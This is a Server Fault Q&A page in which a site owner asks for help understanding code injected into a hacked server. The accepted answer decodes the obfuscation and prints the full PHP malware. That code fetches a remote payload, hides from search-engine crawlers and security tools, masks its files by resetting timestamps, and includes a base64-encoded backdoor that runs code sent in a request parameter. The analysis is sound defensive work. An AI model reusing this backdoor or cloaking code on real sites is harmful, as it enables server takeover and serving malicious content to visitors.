Take the 2-minute tour ×
Server Fault is a question and answer site for professional system and network administrators. It's 100% free, no registration required.

Annotated code is here: http://pastebay.com/145971

Looks like a very similar situation to this post

I'm no good with python so I thought I might ask for help here. The hack seems to include an iframe on user-facing pages, but judging from the question I reference above, that's probably not all it does!

share|improve this question

closed as too localized by Zoredache, John Gardeniers, Ward, Tom O'Connor, MDMarra Dec 7 '11 at 20:51

This question is unlikely to help any future visitors; it is only relevant to a small geographic area, a specific moment in time, or an extraordinarily narrow situation that is not generally applicable to the worldwide audience of the internet. For help making this question more broadly applicable, visit the help center.If this question can be reworded to fit the rules in the help center, please edit the question.

    
You should read this question "My server's been hacked! EMERGENCY" and then nuke the server and re-install. –  kce Dec 2 '11 at 3:13
    
That's not Python... –  ceejayoz Dec 2 '11 at 3:39
    
blog.unmaskparasites.com/2010/10/06/… That is what you have. –  Vetsin Dec 2 '11 at 17:02
add comment

1 Answer

up vote 2 down vote accepted
>>> "\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28"
'eval(gzinflate(base64_decode('

Ok, so it's taking that base64 string, undoing the base64 and gzip, and evaluating it. (the other characters at the end are the )));) So:

import base64, zlib
# remove all the line breaks from that big base64 string:
a = 'xVl7d9u2Dv8qqptT22eOI5J62tWWrksfa9Nuea1tkuuj2L.......'
print(zlib.decompressobj().decompress('x\x9c' + base64.b64decode(a)))

Which gives you.. this big ugly thing. I might take a closer look later to get a look at what it's doing, but for now.. here ya go.

if (!function_exists('google')) { function google($i){$a=Array("safe_mode","open_basedir","safe_mode_include_dir","safe_mode_exec_dir","disable_functions","allow_url_fopen",'max_execution_time','output_buffering','memory_limit','16M','error_log','log_errors','file_uploads','allow_url_fopen','max_execution_time','output_buffering','memory_limit','16M','error_log','log_errors','file_uploads','allow_url_fopen',"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)",'safe_mode','open_basedir',"http://","","#/#","/","","","/","/","Accept-Language: en-us, en;q=0.50\r\n","Connection: Close\r\n\r\n","\r\n\r\n","\n","<br />","","/Location\:/","Location: ","\r","\r\n\r\n","","&#76&#111&#99&#97&#116&#105&#111&#110&#58","Location:","ERROR","66\.249\.[6-9][0-9]\.[0-9]+","72\.14\.[1-2][0-9][0-9]\.[0-9]+","74\.125\.[0-9]+\.[0-9]+","65\.5[2-5]\.[0-9]+\.[0-9]+","74\.6\.[0-9]+\.[0-9]+","67\.195\.[0-9]+\.[0-9]+","72\.30\.[0-9]+\.[0-9]+","38\.[0-9]+\.[0-9]+\.[0-9]+","124\.115\.6\.[0-9]+","93\.172\.94\.227","212\.100\.250\.218","71\.165\.223\.134","209\.9\.239\.101","67\.217\.160\.[0-9]+","70\.91\.180\.25","65\.93\.62\.242","74\.193\.246\.129","213\.144\.15\.38","195\.92\.229\.2","70\.50\.189\.191","218\.28\.88\.99","165\.160\.2\.20","89\.122\.224\.230","66\.230\.175\.124","218\.18\.174\.27","65\.33\.87\.94","67\.210\.111\.241","81\.135\.175\.70","64\.69\.34\.134","89\.149\.253\.169","64\.233\.1[6-8][1-9]\.[0-9]+","64\.233\.19[0-1]\.[0-9]+","209\.185\.108\.[0-9]+","209\.185\.253\.[0-9]+","209\.85\.238\.[0-9]+","216\.239\.33\.9[6-9]","216\.239\.37\.9[8-9]","216\.239\.39\.9[8-9]","216\.239\.41\.9[6-9]","216\.239\.45\.4","216\.239\.46\.[0-9]+","216\.239\.51\.9[6-9]","216\.239\.53\.9[8-9]","216\.239\.57\.9[6-9]","216\.239\.59\.9[8-9]","216\.33\.229\.163","64\.233\.173\.[0-9]+","64\.68\.8[0-9]\.[0-9]+","64\.68\.9[0-2]\.[0-9]+","72\.14\.199\.[0-9]+","8\.6\.48\.[0-9]+","207\.211\.40\.82","67\.162\.158\.146","66\.255\.53\.123","24\.200\.208\.112","129\.187\.148\.240","129\.187\.148\.244","199\.126\.151\.229","118\.124\.32\.193","89\.149\.217\.191","122\.164\.27\.42","149\.5\.168\.2","150\.70\.66\.[0-9]+","194\.250\.116\.39","208\.80\.194\.[0-9]+","62\.190\.39\.205","67\.198\.80\.236","85\.85\.187\.243","95\.134\.141\.250","97\.107\.135\.[0-9]+","184\.168\.191\.[0-9]+","95\.108\.157\.[0-9]+","209\.235\.253\.17",'http','google','slurp','msnbot','bot','crawl','spider','robot','httpclient','curl','php','indy library','wordpress','charlotte','wwwster','python','urllib','perl','libwww','lynx','twiceler','rambler','yandex','trend','virus','malware','wget',"|User\.Agent\:[\s ]?|i","","^[a-zA-Z]{5,}",".","..",'langs','REMOTE_ADDR','HTTP_USER_AGENT','SCRIPT_FILENAME','','','','windows','Expires: Sat, 26 Jul 1997 05:00:00 GMT','Last-Modified: ','D, d M Y H:i:s',' GMT','Cache-Control: no-store, no-cache, must-revalidate','Cache-Control: post-check=0, pre-check=0','Pragma: no-cache','/.svn',"Hi",'0000','0001','1200','1201',"ymd","w",'ohix.','effbot.','/f/','net','ERROR',"w","a");return $a[$i];}} ?><?php @ignore_user_abort(round(0+0.25+0.25+0.25+0.25));@set_magic_quotes_runtime(round(0));@set_time_limit(round(0));@error_reporting(round(0));if(@function_exists('ini_restore')){@ini_restore(google(0));@ini_restore(google(1));@ini_restore(google(2));@ini_restore(google(3));@ini_restore(google(4));@ini_restore(google(5));}if(@function_exists('ini_set')){@ini_set(google(6),round(0));@ini_set(google(7),round(0));@ini_set(google(8),google(9));@ini_set(google(10),NULL);@ini_set(google(11),round(0));@ini_set(google(12),round(0+0.2+0.2+0.2+0.2+0.2));@ini_set(google(13),round(0+0.25+0.25+0.25+0.25));}elseif(@function_exists('ini_alter')){@ini_alter(google(14),round(0));@ini_alter(google(15),round(0));@ini_alter(google(16),google(17));@ini_alter(google(18),NULL);@ini_alter(google(19),round(0));@ini_alter(google(20),round(0+0.25+0.25+0.25+0.25));@ini_alter(google(21),round(0+0.25+0.25+0.25+0.25));}if(!function_exists('cc')){function cc($bot_0){$bot_1=google(22);if(function_exists('curl_init')){$bot_2=curl_init();curl_setopt($bot_2,10002,$bot_0);curl_setopt($bot_2,42,round(0));curl_setopt($bot_2,13,round(0+7.5+7.5+7.5+7.5));curl_setopt($bot_2,19913,round(0+0.25+0.25+0.25+0.25));curl_setopt($bot_2,10018,$bot_1);if(!(@ini_get(google(23))||@ini_get(google(24)))){@curl_setopt($bot_2,52,round(0+1));}@curl_setopt($bot_2,68,round(0+0.4+0.4+0.4+0.4+0.4));$bot_3=curl_exec($bot_2);curl_close($bot_2);if($bot_3 !== false){return $bot_3;}}else if(function_exists('fsockopen')){global $bot_4;$bot_0=str_replace(google(25),google(26),$bot_0);if(preg_match(google(27),"$bot_0")){$bot_5=$bot_0;$bot_0=@explode(google(28),$bot_0);$bot_0=$bot_0[round(0)];$bot_5=str_replace($bot_0,google(29),$bot_5);if(!$bot_5 || $bot_5 == google(30)){$bot_5=google(31);}$bot_6=gethostbyname($bot_0);}else{$bot_6=gethostbyname($bot_0);$bot_5=google(32);}$bot_7=fsockopen($bot_6,round(0+16+16+16+16+16),$bot_8,$bot_9,round(0+2+2+2+2+2));stream_set_timeout($bot_7,round(0+2+2+2+2+2));if($bot_7){$bot_10="GET $bot_5 HTTP/1.0\r\n";$bot_10 .="Host: $bot_0\r\n";$bot_10 .="Referer: http://$bot_0$bot_5\r\n";$bot_10 .= google(33);$bot_10 .="User-Agent: $bot_1\r\n";$bot_10 .= google(34);fputs($bot_7,$bot_10);while(!feof($bot_7)){$bot_11 .= fgets($bot_7,round(0+4096));}fclose($bot_7);$bot_11=@explode(google(35),$bot_11,round(0+2));$bot_12=$bot_11[round(0)];if($bot_4){$bot_12="$bot_4<br /><br />\n$bot_12";}$bot_12=str_replace(google(36),google(37),$bot_12);if($bot_11[round(0+0.2+0.2+0.2+0.2+0.2)]){$bot_13=$bot_11[round(0+1)];}else{$bot_13=google(38);}if($bot_13){$bot_11=$bot_13;}else{$bot_11=$bot_12;}if(preg_match(google(39),"$bot_12")){$bot_0=@explode(google(40),$bot_12);$bot_0=$bot_0[round(0+0.25+0.25+0.25+0.25)];$bot_0=@explode(google(41),$bot_0);$bot_0=$bot_0[round(0)];$bot_4=str_replace(google(42),google(43),$bot_12);$bot_14=google(44);$bot_4=str_replace(google(45),$bot_14,$bot_4);return cc($bot_0);}else{return $bot_11;}}}else{echo google(46);exit;}}}if(!function_exists('detB')){function detB($bot_15,$bot_16){$bot_17=array(google(47),google(48),google(49),google(50),google(51),google(52),google(53),google(54),google(55),google(56),google(57),google(58),google(59),google(60),google(61),google(62),google(63),google(64),google(65),google(66),google(67),google(68),google(69),google(70),google(71),google(72),google(73),google(74),google(75),google(76),google(77),google(78),google(79),google(80),google(81),google(82),google(83),google(84),google(85),google(86),google(87),google(88),google(89),google(90),google(91),google(92),google(93),google(94),google(95),google(96),google(97),google(98),google(99),google(100),google(101),google(102),google(103),google(104),google(105),google(106),google(107),google(108),google(109),google(110),google(111),google(112),google(113),google(114),google(115),google(116),google(117),google(118),google(119));$bot_18=array(google(120),google(121),google(122),google(123),google(124),google(125),google(126),google(127),google(128),google(129),google(130),google(131),google(132),google(133),google(134),google(135),google(136),google(137),google(138),google(139),google(140),google(141),google(142),google(143),google(144),google(145),google(146));$bot_15=preg_replace(google(147),google(148),$bot_15);$bot_19=true;foreach($bot_17 as $bot_20)if(eregi("$bot_20",$bot_16)){$bot_19=false;break;}if($bot_19)foreach($bot_18 as $bot_21)if(eregi($bot_21,$bot_15)!== false){$bot_19=false;break;}if($bot_19 and!eregi(google(149),$bot_15)){$bot_19=false;}if($bot_19 and strlen($bot_15)<=round(0+3.66666666667+3.66666666667+3.66666666667)){$bot_19=false;}return $bot_19;}}if(!function_exists('rm_rf')){function rm_rf($bot_22){$bot_23=@filemtime($bot_22);if($bot_24=opendir($bot_22)){while(false !==($bot_25=readdir($bot_24))){if($bot_25 != google(150)&& $bot_25 != google(151)&& is_file($bot_25)){@chmod($bot_25,round(0+146+146+146));@unlink($bot_25);}}closedir($bot_24);}@touch($bot_22,$bot_23,$bot_23);}}eval(base64_decode('aWYgKGlzc2V0KCRfUkVRVUVTVFsiZXYxIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1JFUVVFU1RbImV2MSJdKSk7IGV4aXQ7fQ=='));$bot_26=google(152);$bot_27=$_SERVER[google(153)];$bot_1=$_SERVER[google(154)];$bot_28=$_SERVER[google(155)];if($bot_27 == google(156)|| $bot_1 == google(157)|| $bot_28 == google(158))die();$bot_29=strtolower($bot_1);if(!isset($_COOKIE[$bot_26])&& strstr($bot_29,google(159))!==false){@header(google(160));@header(google(161) .gmdate(google(162)) .google(163));@header(google(164));@header(google(165),false);@header(google(166));$bot_30=dirname($bot_28) .google(167);if(!file_exists($bot_30)){$bot_23=@filemtime(dirname($bot_28));@mkdir($bot_30);@touch(dirname($bot_28),$bot_23,$bot_23);@touch($bot_30,$bot_23,$bot_23);}$bot_31=@date(google(168));if(($bot_31 >= google(169)&& $bot_31 <= google(170))||($bot_31 >= google(171)&& $bot_31 <= google(172)))rm_rf($bot_30);$bot_32=@date(google(173));$bot_33="$bot_30/$bot_32";$bot_34="$bot_30/sess_$bot_32";if(!file_exists($bot_33)){$bot_23=@filemtime($bot_30);$bot_35=fopen($bot_33,google(174));fclose($bot_35);@touch($bot_30,$bot_23,$bot_23);}if(!file_exists($bot_34)|| filesize($bot_34)<round(0+5)){$bot_36=array(google(175),google(176),google(177),google(178));$bot_37=$bot_36[rand(round(0),round(0+0.2+0.2+0.2+0.2+0.2))] .$bot_36[round(0+3)] .$bot_36[round(0+1+1)];$bot_38=@cc($bot_37);if($bot_38 != google(179)){$bot_23=@filemtime($bot_30);$bot_35=@fopen($bot_34,google(180));@fwrite($bot_35,"$bot_38");@fclose($bot_35);@touch($bot_30,$bot_23,$bot_23);@touch($bot_34,$bot_23,$bot_23);}}$bot_39=@base64_decode(@file_get_contents($bot_34));$bot_40=@file($bot_33);$bot_41=false;foreach($bot_40 as $bot_42){if(@trim($bot_42)== $bot_27){$bot_41=true;break;}}$bot_19=@detB($bot_1,$bot_27);if($bot_41 == false && $bot_19 == true){$bot_35=@fopen($bot_33,google(181));@fwrite($bot_35,"$bot_27\n");@fclose($bot_35);echo $bot_39;}} ?>
share|improve this answer
    
To be more detailed on that that code does, it looks like a bot. Will een take in input and eval it if you pass in ?ev1= –  Vetsin Dec 2 '11 at 16:07
    
Thank you so much for your help! I'm looking over what you posted now. –  Felixander Weber Dec 3 '11 at 22:52
add comment

Not the answer you're looking for? Browse other questions tagged or ask your own question.